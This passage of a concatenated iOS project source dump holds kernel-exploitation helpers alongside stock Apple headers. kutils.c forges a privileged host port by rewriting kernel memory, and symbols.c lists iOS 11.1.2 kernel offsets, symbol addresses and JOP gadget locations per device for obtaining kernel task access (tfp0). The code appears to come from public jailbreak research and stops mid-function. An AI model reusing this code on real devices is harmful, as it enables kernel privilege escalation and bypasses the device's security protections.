21 | return rk64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
22 | }
23 |
24 | uint64_t current_thread() {
25 | uint64_t thread_port = find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND);
26 | return rk64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
27 | }
28 |
29 | uint64_t find_kernel_base() {
30 | uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
31 | uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
32 |
33 | uint64_t base = realhost & ~0xfffULL;
34 | // walk down to find the magic:
35 | for (int i = 0; i < 0x10000; i++) {
36 | if (rk32(base) == 0xfeedfacf) {
37 | return base;
38 | }
39 | base -= 0x1000;
40 | }
41 | return 0;
42 | }
43 | mach_port_t fake_host_priv_port = MACH_PORT_NULL;
44 |
45 | // build a fake host priv port
46 | mach_port_t fake_host_priv() {
47 | if (fake_host_priv_port != MACH_PORT_NULL) {
48 | return fake_host_priv_port;
49 | }
50 | // get the address of realhost:
51 | uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
52 | uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
53 |
54 | // allocate a port
55 | mach_port_t port = MACH_PORT_NULL;
56 | kern_return_t err;
57 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
58 | if (err != KERN_SUCCESS) {
59 | printf("failed to allocate port\n");
60 | return MACH_PORT_NULL;
61 | }
62 |
63 | // get a send right
64 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
65 |
66 | // locate the port
67 | uint64_t port_addr = find_port_address(port, MACH_MSG_TYPE_COPY_SEND);
68 |
69 | // change the type of the port
70 | #define IKOT_HOST_PRIV 4
71 | #define IO_ACTIVE 0x80000000
72 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_HOST_PRIV);
73 |
74 | // change the space of the port
75 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
76 |
77 | // set the kobject
78 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);
79 |
80 | fake_host_priv_port = port;
81 |
82 | return port;
83 | }
84 |
--------------------------------------------------------------------------------
/Files/kutils.h:
--------------------------------------------------------------------------------
1 | #ifndef kutils_h
2 | #define kutils_h
3 |
4 | #include
5 |
6 | uint64_t task_self_addr(void);
7 | uint64_t ipc_space_kernel(void);
8 | uint64_t find_kernel_base(void);
9 |
10 | uint64_t current_thread(void);
11 |
12 | mach_port_t fake_host_priv(void);
13 |
14 | #endif /* kutils_h */
15 |
--------------------------------------------------------------------------------
/Files/libproc.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2006, 2007 Apple Inc. All rights reserved.
3 | *
4 | * @APPLE_LICENSE_HEADER_START@
5 | *
6 | * This file contains Original Code and/or Modifications of Original Code
7 | * as defined in and that are subject to the Apple Public Source License
8 | * Version 2.0 (the 'License'). You may not use this file except in
9 | * compliance with the License. Please obtain a copy of the License at
10 | * http://www.opensource.apple.com/apsl/ and read it before using this
11 | * file.
12 | *
13 | * The Original Code and all software distributed under the License are
14 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
15 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
16 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
17 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
18 | * Please see the License for the specific language governing rights and
19 | * limitations under the License.
20 | *
21 | * @APPLE_LICENSE_HEADER_END@
22 | */
23 | #ifndef _LIBPROC_H_
24 | #define _LIBPROC_H_
25 |
26 | #include
27 | #include
28 | #include
29 | #include
30 | #include
31 | #include
32 |
33 | #include "sys/proc_info.h"
34 |
35 | /*
36 | * This header file contains private interfaces to obtain process information.
37 | * These interfaces are subject to change in future releases.
38 | */
39 |
40 | /*!
41 | @define PROC_LISTPIDSPATH_PATH_IS_VOLUME
42 | @discussion This flag indicates that all processes that hold open
43 | file references on the volume associated with the specified
44 | path should be returned.
45 | */
46 | #define PROC_LISTPIDSPATH_PATH_IS_VOLUME 1
47 |
48 |
49 | /*!
50 | @define PROC_LISTPIDSPATH_EXCLUDE_EVTONLY
51 | @discussion This flag indicates that file references that were opened
52 | with the O_EVTONLY flag should be excluded from the matching
53 | criteria.
54 | */
55 | #define PROC_LISTPIDSPATH_EXCLUDE_EVTONLY 2
56 |
57 | __BEGIN_DECLS
58 |
59 | int proc_listpids(uint32_t type, uint32_t typeinfo, void *buffer, int buffersize);
60 |
61 | /*!
62 | @function proc_listpidspath
63 | @discussion A function which will search through the current
64 | processes looking for open file references which match
65 | a specified path or volume.
66 | @param type types of processes to be searched (see proc_listpids)
67 | @param typeinfo adjunct information for type
68 | @param path file or volume path
69 | @param pathflags flags to control which files should be considered
70 | during the process search.
71 | @param buffer a C array of int-sized values to be filled with
72 | process identifiers that hold an open file reference
73 | matching the specified path or volume. Pass NULL to
74 | obtain the minimum buffer size needed to hold the
75 | currently active processes.
76 | @param buffersize the size (in bytes) of the provided buffer.
77 | @result the number of bytes of data returned in the provided buffer;
78 | -1 if an error was encountered;
79 | */
80 | int proc_listpidspath(uint32_t type,
81 | uint32_t typeinfo,
82 | const char *path,
83 | uint32_t pathflags,
84 | void *buffer,
85 | int buffersize);
86 |
87 | int proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize);
88 | int proc_pidfdinfo(int pid, int fd, int flavor, void * buffer, int buffersize);
89 | int proc_name(int pid, void * buffer, uint32_t buffersize);
90 | int proc_regionfilename(int pid, uint64_t address, void * buffer, uint32_t buffersize);
91 | int proc_kmsgbuf(void * buffer, uint32_t buffersize);
92 | int proc_pidpath(int pid, void * buffer, uint32_t buffersize);
93 | int proc_libversion(int *major, int * minor);
94 | /*
95 | * A process can use the following api to set its own process control
96 | * state on resoure starvation. The argument can have one of the PROC_SETPC_XX values
97 | */
98 | #define PROC_SETPC_NONE 0
99 | #define PROC_SETPC_THROTTLEMEM 1
100 | #define PROC_SETPC_SUSPEND 2
101 | #define PROC_SETPC_TERMINATE 3
102 |
103 | int proc_setpcontrol(const int control);
104 | __END_DECLS
105 |
106 | #endif /*_LIBPROC_H_ */
107 |
--------------------------------------------------------------------------------
/Files/main.m:
--------------------------------------------------------------------------------
1 | //
2 | // main.m
3 | // Files
4 | //
5 | // Created by Steven Troughton-Smith on 11/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import
10 | #import "AppDelegate.h"
11 |
12 | int main(int argc, char * argv[]) {
13 | @autoreleasepool {
14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/Files/net/route.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2000-2008 Apple Inc. All rights reserved.
3 | *
4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@
5 | *
6 | * This file contains Original Code and/or Modifications of Original Code
7 | * as defined in and that are subject to the Apple Public Source License
8 | * Version 2.0 (the 'License'). You may not use this file except in
9 | * compliance with the License. The rights granted to you under the License
10 | * may not be used to create, or enable the creation or redistribution of,
11 | * unlawful or unlicensed copies of an Apple operating system, or to
12 | * circumvent, violate, or enable the circumvention or violation of, any
13 | * terms of an Apple operating system software license agreement.
14 | *
15 | * Please obtain a copy of the License at
16 | * http://www.opensource.apple.com/apsl/ and read it before using this file.
17 | *
18 | * The Original Code and all software distributed under the License are
19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
23 | * Please see the License for the specific language governing rights and
24 | * limitations under the License.
25 | *
26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@
27 | */
28 | /*
29 | * Copyright (c) 1980, 1986, 1993
30 | * The Regents of the University of California. All rights reserved.
31 | *
32 | * Redistribution and use in source and binary forms, with or without
33 | * modification, are permitted provided that the following conditions
34 | * are met:
35 | * 1. Redistributions of source code must retain the above copyright
36 | * notice, this list of conditions and the following disclaimer.
37 | * 2. Redistributions in binary form must reproduce the above copyright
38 | * notice, this list of conditions and the following disclaimer in the
39 | * documentation and/or other materials provided with the distribution.
40 | * 3. All advertising materials mentioning features or use of this software
41 | * must display the following acknowledgement:
42 | * This product includes software developed by the University of
43 | * California, Berkeley and its contributors.
44 | * 4. Neither the name of the University nor the names of its contributors
45 | * may be used to endorse or promote products derived from this software
46 | * without specific prior written permission.
47 | *
48 | * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
49 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
50 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
51 | * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
52 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
53 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
54 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
55 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
56 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
57 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
58 | * SUCH DAMAGE.
59 | *
60 | * @(#)route.h 8.3 (Berkeley) 4/19/94
61 | * $FreeBSD: src/sys/net/route.h,v 1.36.2.1 2000/08/16 06:14:23 jayanth Exp $
62 | */
63 |
64 | #ifndef _NET_ROUTE_H_
65 | #define _NET_ROUTE_H_
66 | #include
67 | #include
68 | #include
69 | #include
70 |
71 | /*
72 | * Kernel resident routing tables.
73 | *
74 | * The routing tables are initialized when interface addresses
75 | * are set by making entries for all directly connected interfaces.
76 | */
77 |
78 | /*
79 | * A route consists of a destination address and a reference
80 | * to a routing entry. These are often held by protocols
81 | * in their control blocks, e.g. inpcb.
82 | */
83 | struct route;
84 |
85 | /*
86 | * These numbers are used by reliable protocols for determining
87 | * retransmission behavior and are included in the routing structure.
88 | */
89 | struct rt_metrics {
90 | u_int32_t rmx_locks; /* Kernel must leave these values alone */
91 | u_int32_t rmx_mtu; /* MTU for this path */
92 | u_int32_t rmx_hopcount; /* max hops expected */
93 | int32_t rmx_expire; /* lifetime for route, e.g. redirect */
94 | u_int32_t rmx_recvpipe; /* inbound delay-bandwidth product */
95 | u_int32_t rmx_sendpipe; /* outbound delay-bandwidth product */
96 | u_int32_t rmx_ssthresh; /* outbound gateway buffer limit */
97 | u_int32_t rmx_rtt; /* estimated round trip time */
98 | u_int32_t rmx_rttvar; /* estimated rtt variance */
99 | u_int32_t rmx_pksent; /* packets sent using this route */
100 | u_int32_t rmx_filler[4]; /* will be used for T/TCP later */
101 | };
102 |
103 | /*
104 | * rmx_rtt and rmx_rttvar are stored as microseconds;
105 | */
106 | #define RTM_RTTUNIT 1000000 /* units for rtt, rttvar, as units per sec */
107 |
108 | /*
109 | * We distinguish between routes to hosts and routes to networks,
110 | * preferring the former if available. For each route we infer
111 | * the interface to use from the gateway address supplied when
112 | * the route was entered. Routes that forward packets through
113 | * gateways are marked so that the output routines know to address the
114 | * gateway rather than the ultimate destination.
115 | */
116 |
117 |
118 | #define RTF_UP 0x1 /* route usable */
119 | #define RTF_GATEWAY 0x2 /* destination is a gateway */
120 | #define RTF_HOST 0x4 /* host entry (net otherwise) */
121 | #define RTF_REJECT 0x8 /* host or net unreachable */
122 | #define RTF_DYNAMIC 0x10 /* created dynamically (by redirect) */
123 | #define RTF_MODIFIED 0x20 /* modified dynamically (by redirect) */
124 | #define RTF_DONE 0x40 /* message confirmed */
125 | #define RTF_DELCLONE 0x80 /* delete cloned route */
126 | #define RTF_CLONING 0x100 /* generate new routes on use */
127 | #define RTF_XRESOLVE 0x200 /* external daemon resolves name */
128 | #define RTF_LLINFO 0x400 /* generated by link layer (e.g. ARP) */
129 | #define RTF_STATIC 0x800 /* manually added */
130 | #define RTF_BLACKHOLE 0x1000 /* just discard pkts (during updates) */
131 | #define RTF_PROTO2 0x4000 /* protocol specific routing flag */
132 | #define RTF_PROTO1 0x8000 /* protocol specific routing flag */
133 |
134 | #define RTF_PRCLONING 0x10000 /* protocol requires cloning */
135 | #define RTF_WASCLONED 0x20000 /* route generated through cloning */
136 | #define RTF_PROTO3 0x40000 /* protocol specific routing flag */
137 | /* 0x80000 unused */
138 | #define RTF_PINNED 0x100000 /* future use */
139 | #define RTF_LOCAL 0x200000 /* route represents a local address */
140 | #define RTF_BROADCAST 0x400000 /* route represents a bcast address */
141 | #define RTF_MULTICAST 0x800000 /* route represents a mcast address */
142 | #define RTF_IFSCOPE 0x1000000 /* has valid interface scope */
143 | #define RTF_CONDEMNED 0x2000000 /* defunct; no longer modifiable */
144 | /* 0x4000000 and up unassigned */
145 |
146 | /*
147 | * Routing statistics.
148 | */
149 | struct rtstat {
150 | short rts_badredirect; /* bogus redirect calls */
151 | short rts_dynamic; /* routes created by redirects */
152 | short rts_newgateway; /* routes modified by redirects */
153 | short rts_unreach; /* lookups which failed */
154 | short rts_wildcard; /* lookups satisfied by a wildcard */
155 | };
156 |
157 | /*
158 | * Structures for routing messages.
159 | */
160 | struct rt_msghdr {
161 | u_short rtm_msglen; /* to skip over non-understood messages */
162 | u_char rtm_version; /* future binary compatibility */
163 | u_char rtm_type; /* message type */
164 | u_short rtm_index; /* index for associated ifp */
165 | int rtm_flags; /* flags, incl. kern & message, e.g. DONE */
166 | int rtm_addrs; /* bitmask identifying sockaddrs in msg */
167 | pid_t rtm_pid; /* identify sender */
168 | int rtm_seq; /* for sender to identify action */
169 | int rtm_errno; /* why failed */
170 | int rtm_use; /* from rtentry */
171 | u_int32_t rtm_inits; /* which metrics we are initializing */
172 | struct rt_metrics rtm_rmx; /* metrics themselves */
173 | };
174 |
175 | struct rt_msghdr2 {
176 | u_short rtm_msglen; /* to skip over non-understood messages */
177 | u_char rtm_version; /* future binary compatibility */
178 | u_char rtm_type; /* message type */
179 | u_short rtm_index; /* index for associated ifp */
180 | int rtm_flags; /* flags, incl. kern & message, e.g. DONE */
181 | int rtm_addrs; /* bitmask identifying sockaddrs in msg */
182 | int32_t rtm_refcnt; /* reference count */
183 | int rtm_parentflags; /* flags of the parent route */
184 | int rtm_reserved; /* reserved field set to 0 */
185 | int rtm_use; /* from rtentry */
186 | u_int32_t rtm_inits; /* which metrics we are initializing */
187 | struct rt_metrics rtm_rmx; /* metrics themselves */
188 | };
189 |
190 |
191 | #define RTM_VERSION 5 /* Up the ante and ignore older versions */
192 |
193 | /*
194 | * Message types.
195 | */
196 | #define RTM_ADD 0x1 /* Add Route */
197 | #define RTM_DELETE 0x2 /* Delete Route */
198 | #define RTM_CHANGE 0x3 /* Change Metrics or flags */
199 | #define RTM_GET 0x4 /* Report Metrics */
200 | #define RTM_LOSING 0x5 /* Kernel Suspects Partitioning */
201 | #define RTM_REDIRECT 0x6 /* Told to use different route */
202 | #define RTM_MISS 0x7 /* Lookup failed on this address */
203 | #define RTM_LOCK 0x8 /* fix specified metrics */
204 | #define RTM_OLDADD 0x9 /* caused by SIOCADDRT */
205 | #define RTM_OLDDEL 0xa /* caused by SIOCDELRT */
206 | #define RTM_RESOLVE 0xb /* req to resolve dst to LL addr */
207 | #define RTM_NEWADDR 0xc /* address being added to iface */
208 | #define RTM_DELADDR 0xd /* address being removed from iface */
209 | #define RTM_IFINFO 0xe /* iface going up/down etc. */
210 | #define RTM_NEWMADDR 0xf /* mcast group membership being added to if */
211 | #define RTM_DELMADDR 0x10 /* mcast group membership being deleted */
212 | #define RTM_IFINFO2 0x12 /* */
213 | #define RTM_NEWMADDR2 0x13 /* */
214 | #define RTM_GET2 0x14 /* */
215 |
216 | /*
217 | * Bitmask values for rtm_inits and rmx_locks.
218 | */
219 | #define RTV_MTU 0x1 /* init or lock _mtu */
220 | #define RTV_HOPCOUNT 0x2 /* init or lock _hopcount */
221 | #define RTV_EXPIRE 0x4 /* init or lock _expire */
222 | #define RTV_RPIPE 0x8 /* init or lock _recvpipe */
223 | #define RTV_SPIPE 0x10 /* init or lock _sendpipe */
224 | #define RTV_SSTHRESH 0x20 /* init or lock _ssthresh */
225 | #define RTV_RTT 0x40 /* init or lock _rtt */
226 | #define RTV_RTTVAR 0x80 /* init or lock _rttvar */
227 |
228 | /*
229 | * Bitmask values for rtm_addrs.
230 | */
231 | #define RTA_DST 0x1 /* destination sockaddr present */
232 | #define RTA_GATEWAY 0x2 /* gateway sockaddr present */
233 | #define RTA_NETMASK 0x4 /* netmask sockaddr present */
234 | #define RTA_GENMASK 0x8 /* cloning mask sockaddr present */
235 | #define RTA_IFP 0x10 /* interface name sockaddr present */
236 | #define RTA_IFA 0x20 /* interface addr sockaddr present */
237 | #define RTA_AUTHOR 0x40 /* sockaddr for author of redirect */
238 | #define RTA_BRD 0x80 /* for NEWADDR, broadcast or p-p dest addr */
239 |
240 | /*
241 | * Index offsets for sockaddr array for alternate internal encoding.
242 | */
243 | #define RTAX_DST 0 /* destination sockaddr present */
244 | #define RTAX_GATEWAY 1 /* gateway sockaddr present */
245 | #define RTAX_NETMASK 2 /* netmask sockaddr present */
246 | #define RTAX_GENMASK 3 /* cloning mask sockaddr present */
247 | #define RTAX_IFP 4 /* interface name sockaddr present */
248 | #define RTAX_IFA 5 /* interface addr sockaddr present */
249 | #define RTAX_AUTHOR 6 /* sockaddr for author of redirect */
250 | #define RTAX_BRD 7 /* for NEWADDR, broadcast or p-p dest addr */
251 | #define RTAX_MAX 8 /* size of array to allocate */
252 |
253 | struct rt_addrinfo {
254 | int rti_addrs;
255 | struct sockaddr *rti_info[RTAX_MAX];
256 | };
257 |
258 | struct route_cb {
259 | int ip_count;
260 | int ip6_count;
261 | int ipx_count;
262 | int ns_count;
263 | int iso_count;
264 | int any_count;
265 | };
266 |
267 |
268 |
269 | #endif
270 |
--------------------------------------------------------------------------------
/Files/symbols.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include "symbols.h"
7 | #include "kmem.h"
8 | #include "kutils.h"
9 |
10 | // the offsets are unlikely to change between similar models and builds, but the symbol addresses will
11 | // the offsets are required to get the kernel r/w but the symbols aren't
12 |
13 | int* offsets = NULL;
14 |
15 |
16 | /* iOS 11.1.2 */
17 | int kstruct_offsets_15B202[] = {
18 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
19 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
20 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
21 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
22 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT,
23 | 0x30, // KSTRUCT_OFFSET_TASK_PREV,
24 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
25 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
26 |
27 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
28 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
29 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
30 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
31 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
32 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
33 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
34 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
35 |
36 | 0x10, // KSTRUCT_OFFSET_PROC_PID,
37 |
38 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
39 |
40 | 0x180, // KSTRUCT_OFFSET_THREAD_BOUND_PROCESSOR
41 | 0x188, // KSTRUCT_OFFSET_THREAD_LAST_PROCESSOR
42 | 0x190, // KSTRUCT_OFFSET_THREAD_CHOSEN_PROCESSOR
43 | 0x408, // KSTRUCT_OFFSET_THREAD_CONTEXT_DATA
44 | 0x410, // KSTRUCT_OFFSET_THREAD_UPCB
45 | 0x418, // KSTRUCT_OFFSET_THREAD_UNEON
46 | 0x420, // KSTRUCT_OFFSET_THREAD_KSTACKPTR
47 |
48 | 0x54, // KSTRUCT_OFFSET_PROCESSOR_CPU_ID
49 |
50 | 0x28, // KSTRUCT_OFFSET_CPU_DATA_EXCEPSTACKPTR
51 | 0X78, // KSTRUCT_OFFSET_CPU_DATA_CPU_PROCESSOR
52 | };
53 |
54 | int koffset(enum kstruct_offset offset) {
55 | if (offsets == NULL) {
56 | printf("need to call symbols_init() prior to querying offsets\n");
57 | return 0;
58 | }
59 | return offsets[offset];
60 | }
61 |
62 | // this is the base of the kernel, not the kernelcache
63 | uint64_t kernel_base = 0;
64 | uint64_t* symbols = NULL;
65 | uint64_t kaslr_slide = 0;
66 |
67 | // ip7
68 | uint64_t ksymbols_iphone_7_15B202[] = {
69 | 0xfffffff0074d74cc, // KSYMBOL_OSARRAY_GET_META_CLASS,
70 | 0xfffffff007566454, // KSYMBOL_IOUSERCLIENT_GET_META_CLASS
71 | 0xfffffff007567bfc, // KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX
72 | 0xfffffff0073eb130, // KSYMBOL_CSBLOB_GET_CD_HASH
73 | 0xfffffff007101248, // KSYMBOL_KALLOC_EXTERNAL
74 | 0xfffffff007101278, // KSYMBOL_KFREE
75 | 0xfffffff0074d74d4, // KYSMBOL_RET
76 | 0xfffffff0074f11cc, // KSYMBOL_OSSERIALIZER_SERIALIZE,
77 | 0xfffffff00758c618, // KSYMBOL_KPRINTF
78 | 0xfffffff0074fc164, // KSYMBOL_UUID_COPY
79 | 0xfffffff0075b2000, // KSYMBOL_CPU_DATA_ENTRIES
80 | 0xfffffff0070cc1d4, // KSYMBOL_VALID_LINK_REGISTER
81 | 0xfffffff0070cc1ac, // KSYMBOL_X21_JOP_GADGET
82 | 0xfffffff0070cc474, // KSYMBOL_EXCEPTION_RETURN
83 | 0xfffffff0070cc42c, // KSYMBOL_THREAD_EXCEPTION_RETURN
84 | 0xfffffff0071e1998, // KSYMBOL_SET_MDSCR_EL1_GADGET
85 | 0xfffffff007439b20, // KSYMBOL_WRITE_SYSCALL_ENTRYPOINT // this is actually 1 instruction in to the entrypoint
86 | 0xfffffff0071de074, // KSYMBOL_EL1_HW_BP_INFINITE_LOOP
87 | 0xfffffff0071dea24, // KSYMBOL_SLEH_SYNC_EPILOG
88 | };
89 |
90 | uint64_t ksymbols_ipod_touch_6g_15b202[] = {
91 | 0xFFFFFFF0074A4A4C, // KSYMBOL_OSARRAY_GET_META_CLASS,
92 | 0xFFFFFFF007533CF8, // KSYMBOL_IOUSERCLIENT_GET_META_CLASS
93 | 0xFFFFFFF0075354A0, // KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX
94 | 0xFFFFFFF0073B71E4, // KSYMBOL_CSBLOB_GET_CD_HASH
95 | 0xFFFFFFF0070C8710, // KSYMBOL_KALLOC_EXTERNAL
96 | 0xFFFFFFF0070C8740, // KSYMBOL_KFREE
97 | 0xFFFFFFF0070C873C, // KYSMBOL_RET
98 | 0xFFFFFFF0074BE978, // KSYMBOL_OSSERIALIZER_SERIALIZE,
99 | 0xFFFFFFF007559FD0, // KSYMBOL_KPRINTF
100 | 0xFFFFFFF0074C9910, // KSYMBOL_UUID_COPY
101 | 0xFFFFFFF00757E000, // KSYMBOL_CPU_DATA_ENTRIES // 0x6000 in to the data segment
102 | 0xFFFFFFF00709818C, // KSYMBOL_VALID_LINK_REGISTER // look for reference to FAR_EL1 (Fault Address Register (EL1))
103 | 0xFFFFFFF007098164, // KSYMBOL_X21_JOP_GADGET // look for references to FPCR (Floating-point Control Register)
104 | 0xFFFFFFF007098434, // KSYMBOL_EXCEPTION_RETURN // look for references to Set PSTATE.DAIF [--IF]
105 | 0xFFFFFFF0070983E4, // KSYMBOL_THREAD_EXCEPTION_RETURN // a bit before exception_return
106 | 0xFFFFFFF0071AD144, // KSYMBOL_SET_MDSCR_EL1_GADGET // look for references to MDSCR_EL1
107 | 0xFFFFFFF0074062F4, // KSYMBOL_WRITE_SYSCALL_ENTRYPOINT // look for references to enosys to find the syscall table (this is actually 1 instruction in to the entrypoint)
108 | 0xFFFFFFF0071A90C0, // KSYMBOL_EL1_HW_BP_INFINITE_LOOP // look for xrefs to "ESR (0x%x) for instruction trapped" and find switch case 49
109 | 0xFFFFFFF0071A9ABC, // KSYMBOL_SLEH_SYNC_EPILOG // look for xrefs to "Unsupported Class %u event code."
110 | };
111 |
112 | uint64_t ksymbols_iphone_6s_15b202[] = {
113 | 0xFFFFFFF00748D548, // KSYMBOL_OSARRAY_GET_META_CLASS,
114 | 0xFFFFFFF00751C4D0, // KSYMBOL_IOUSERCLIENT_GET_META_CLASS
115 | 0xFFFFFFF00751DC78, // KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX
116 | 0xFFFFFFF0073A1054, // KSYMBOL_CSBLOB_GET_CD_HASH
117 | 0xFFFFFFF0070B8088, // KSYMBOL_KALLOC_EXTERNAL
118 | 0xFFFFFFF0070B80B8, // KSYMBOL_KFREE
119 | 0xFFFFFFF0070B80B4, // KYSMBOL_RET
120 | 0xFFFFFFF0074A7248, // KSYMBOL_OSSERIALIZER_SERIALIZE,
121 | 0xFFFFFFF0075426C4, // KSYMBOL_KPRINTF
122 | 0xFFFFFFF0074B21E0, // KSYMBOL_UUID_COPY
123 | 0xFFFFFFF007566000, // KSYMBOL_CPU_DATA_ENTRIES // 0x6000 in to the data segment
124 | 0xFFFFFFF00708818C, // KSYMBOL_VALID_LINK_REGISTER // look for reference to FAR_EL1 (Fault Address Register (EL1))
125 | 0xFFFFFFF007088164, // KSYMBOL_X21_JOP_GADGET // look for references to FPCR (Floating-point Control Register)
126 | 0xFFFFFFF007088434, // KSYMBOL_EXCEPTION_RETURN // look for references to Set PSTATE.DAIF [--IF]
127 | 0xFFFFFFF0070883E4, // KSYMBOL_THREAD_EXCEPTION_RETURN // a bit before exception_return
128 | 0xFFFFFFF007197AB0, // KSYMBOL_SET_MDSCR_EL1_GADGET // look for references to MDSCR_EL1
129 | 0xFFFFFFF0073EFB44, // KSYMBOL_WRITE_SYSCALL_ENTRYPOINT // look for references to enosys to find the syscall table (this is actually 1 instruction in to the entrypoint)
130 | 0xFFFFFFF0071941D8, // KSYMBOL_EL1_HW_BP_INFINITE_LOOP // look for xrefs to "ESR (0x%x) for instruction trapped" and find switch case 49
131 | 0xFFFFFFF007194BBC, // KSYMBOL_SLEH_SYNC_EPILOG // look for xrefs to "Unsupported Class %u event code."
132 | };
133 |
134 | uint64_t ksym(enum ksymbol sym) {
135 | if (kernel_base == 0) {
136 | if (!have_kmem_read()) {
137 | printf("attempted to use symbols prior to gaining kernel read\n");
138 | return 0;
139 | }
140 | kernel_base = find_kernel_base();
141 | kaslr_slide = find_kernel_base() - 0xFFFFFFF007004000;
142 | }
143 | //return symbols[sym] + kernel_base;
144 | return symbols[sym] + kaslr_slide;
145 | }
146 |
147 | int have_syms = 0;
148 | int probably_have_correct_symbols() {
149 | return have_syms;
150 | }
151 |
152 | void offsets_init() {
153 | size_t size = 32;
154 | char build_id[size];
155 | memset(build_id, 0, size);
156 | int err = sysctlbyname("kern.osversion", build_id, &size, NULL, 0);
157 | if (err == -1) {
158 | printf("failed to detect version (sysctlbyname failed\n");
159 | return;
160 | }
161 | printf("build_id: %s\n", build_id);
162 |
163 | struct utsname u = {0};
164 | uname(&u);
165 |
166 | printf("sysname: %s\n", u.sysname);
167 | printf("nodename: %s\n", u.nodename);
168 | printf("release: %s\n", u.release);
169 | printf("version: %s\n", u.version);
170 | printf("machine: %s\n", u.machine);
171 |
172 | // set the offsets
173 |
174 | if (strcmp(build_id, "15B202") == 0) {
175 | offsets = kstruct_offsets_15B202;
176 | } else {
177 | offsets = kstruct_offsets_15B202;
178 | printf("unknown kernel build. If this is iOS 11 it might still be able to get tfp0, trying anyway\n");
179 | have_syms = 0;
180 | return;
181 | }
182 |
183 | // set the symbols
184 |
185 | if (strstr(u.machine, "iPod7,1")) {
186 | printf("this is iPod Touch 6G, should work!\n");
187 | symbols = ksymbols_ipod_touch_6g_15b202;
188 | have_syms = 1;
189 | } else if (strstr(u.machine, "iPhone9,3")) {
190 | printf("this is iPhone 7, should work!\n");
191 | symbols = ksymbols_iphone_7_15B202;
192 | have_syms = 1;
193 | } else if (strstr(u.machine, "iPhone8,1")) {
194 | printf("this is iPhone 6s, should work!\n");
